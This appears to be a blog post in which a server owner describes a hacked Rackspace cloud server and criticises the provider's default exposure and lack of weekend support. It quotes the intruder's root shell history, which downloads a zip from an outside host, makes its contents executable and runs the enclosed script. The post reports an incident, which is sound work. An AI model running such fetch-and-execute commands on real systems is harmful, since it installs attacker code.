Hacked Server on Rackspace

-
Last month, I had a cloud server exploited and couldn't figure out how it happened. After a little investigation, I've got a good news bad news situation. The good news is that I DID manage to contact someone at rackspace who could help me out and they re-enabled my account.

The bad news is that the server wasn't pretty. On the upside it must have been hacked by a script kiddie as they did NOT cover their tracks very well at all. On the downside, they did NOT appear to have used the single user account I created and somehow entered through either the rackspace admin network (SPOOKY, inside job?) or one of the default services installed with Ubuntu 10.04 LTS (still not good)

From my root .bash_history, I noticed the following (the first few lines, may have been me):
exit w                                                                                                                     
w                                                                                                                      
passwd                                                                                                                  
cd /var/tmp                                                                                                             
la                                                                                                                      
wget hacker.go.ro/go.zip                                                                                                
unzip go.zip                                                                                                            
cd go                                                                                                                   
chmod +x *                                                                                                              
./go.sh 112                                                                                                             
cd /var/tmp                                                                                                             
cd go                                                                                                                 
chmod +x *                                                                                                            
./go.sh 220

In my /var/tmp/go directory I have a bunch of stuff that I'm looking at right now, but of specific interest are a couple of Chinese servers that appear to have been used in the heist.

In short, Rackspace did a good job during "normal business" hours of helping me out, but I certainly ran into a few pretty serious drawbacks. Notably:

#1 By default, servers are built and exposed to the internet immediately.
#2 There is no mechanism to set up mini DMZs or other ways to cordon off traffic, except through software controls (on servers that are already potentially p0wn3d).
#3 There is no weekend support as far as I can tell.

A big plus to having the server physically sitting on site is that, unless you get locked out of the server room, you can ALMOST always reboot the server from a CD and reinstall the OS. If your hosting provider decides to disable your cloud network console, you're kinda out of luck.

Comments

Post a Comment

Popular posts from this blog

the myth of asynchronous JDBC

-
Image
I keep seeing people (especially in the scala/typesafe world) posting about async jdbc libraries. STOP IT! Under the current APIs, async JDBC belongs in a realm with Unicorns, Tiger Squirrels, and 8' spiders. While you might be able to move the blocking operations and queue requests and keep your "main" worker threads from blocking, jdbc is synchronous. At some point, somewhere, there's going to be a thread blocking waiting for a response. It's frustrating to see so many folks hyping this and muddying the waters. Unless you write your own client for a dbms and have a dbms that can multiplex calls over a single connection (or using some other strategy to enable this capability) db access is going to block. It's not impossible to make the calls completely async, but nobody's built it yet. Yes, I know ajdbc is taking a stab at this capability, but even IT uses a thread pool for the blocking calls (be default). Someday we'll have async databa
Read more

The difference between Scalability, Performance, Efficiency, and Concurrency explained

-
I thought I'd give some explanation of the difference between scalability, performance, Efficiency, and concurrency. To make things more accessible (and because I'm watching a cooking show on TV) I'm going to use a baking metaphor to help explain the differences. In our case, the system in question is baking cookies for consumers. Scalability, is how well something responds to adding more resources. If we can double our capacity by doubling the number of resources, we've got linear scalability. In our baking example, if we add more ingredients, we can scale to a larger number of cookies. To contrast with our other metrics, this doesn't actually increase the performance of creating a single cookie (they still take 10 minutes to bake), and the efficiency is the same (we just have more capacity). We also cannot bake more cookies in a fixed time period, but over a larger time period we can produce more cookies. Performance is how fast something can get done, u
Read more

Push versus pull deployment models

-
There are two deployment models: push and pull. In a "Pull" deployment model, the individual servers contact a master server, download their configuration and software, and configure themselves. In a "Push" model, a master server pushes the configuration and software to the individual servers and runs commands remotely. While neither technique is right or wrong, they both have some specific advantages and disadvantages that you should understand when making a decision. In the ruby hosting world, an example of a "push" deployment is heroku , while Engine Yard is an example of a "pull" type deployment. In the Pull model, each server has information about how to obtain it's configuration, when it boots (or whatever the configuration triggering event happens to be) it can continue to proceed without intervention from the master server. In the Push model, because the master server is orchestrating things, it will typically need to have a c
Read more